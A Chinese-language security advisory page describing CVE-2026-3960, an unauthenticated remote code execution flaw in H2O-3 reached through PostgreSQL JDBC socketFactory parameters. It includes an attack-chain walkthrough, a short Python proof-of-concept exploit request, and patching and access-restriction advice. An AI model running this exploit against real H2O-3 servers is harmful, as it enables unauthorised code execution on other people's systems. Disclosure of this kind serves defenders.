IPBUF安全漏洞报告
English
CVE-2026-3960 CVSS 9.8 严重

CVE-2026-3960 H2O-3远程代码执行漏洞

披露日期: 2026-04-23

漏洞信息

漏洞编号
CVE-2026-3960
漏洞类型
远程代码执行
CVSS评分
9.8 严重
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
H2O-3

相关标签

RCEH2O-3JDBC注入PostgreSQLREST API

漏洞概述

H2O-3 3.46.0.9及之前版本存在严重的远程代码执行漏洞。攻击者可绕过未认证REST API端点/99/ImportSQLTable的参数黑名单机制,通过PostgreSQL JDBC协议参数实现任意代码执行。

技术细节

该漏洞源于H2O-3在处理导入SQL表请求时,仅针对MySQL JDBC驱动参数进行了黑名单过滤,安全控制不足。攻击者可利用未认证的/99/ImportSQLTable端点,将JDBC URL协议从MySQL切换为PostgreSQL (jdbc:postgresql:)。通过使用PostgreSQL JDBC特有的参数(如socketFactory和socketFactoryArg),攻击者可以指定恶意的Socket工厂类并传入参数,从而在服务器端加载任意类并执行代码,获取H2O-3进程权限。

攻击链分析

STEP 1
1. 信息收集
识别目标服务器运行H2O-3版本3.46.0.9或更早版本。
STEP 2
2. 发起请求
攻击者向未认证的REST API端点/99/ImportSQLTable发送特制的HTTP POST请求。
STEP 3
3. 绕过黑名单
请求中构造jdbc:postgresql://...连接字符串,利用socketFactory参数绕过仅针对MySQL的危险参数过滤。
STEP 4
4. 执行代码
H2O-3服务器解析JDBC URL,实例化攻击者指定的Socket工厂类,导致任意代码在服务器端以H2O-3进程权限执行。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests # Exploit Title: CVE-2026-3960 H2O-3 RCE via PostgreSQL JDBC # Description: Sends a malicious request to /99/ImportSQLTable using socketFactory bypass target = "http://vulnerable-target:54321" endpoint = "/99/ImportSQLTable" url = target + endpoint # Bypassing MySQL blacklist by switching to PostgreSQL protocol # Using socketFactory to load arbitrary class payload = { "connection_url": "jdbc:postgresql://localhost/test?socketFactory=com.exampleMalicious.ExecFactory&socketFactoryArg=touch%20/tmp/pwned", "table_name": "pwn", "username": "root", "password": "pass" } r = requests.post(url, json=payload) print(f"Status: {r.status_code}") print(r.text)

影响范围

H2O-3 <= 3.46.0.9

防御指南

临时缓解措施
建议立即升级到H2O-3 3.46.0.10版本。若暂时无法升级,请通过防火墙或安全组限制对/99/ImportSQLTable端点的访问权限,仅允许受信任的IP地址调用,或暂停该服务功能。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表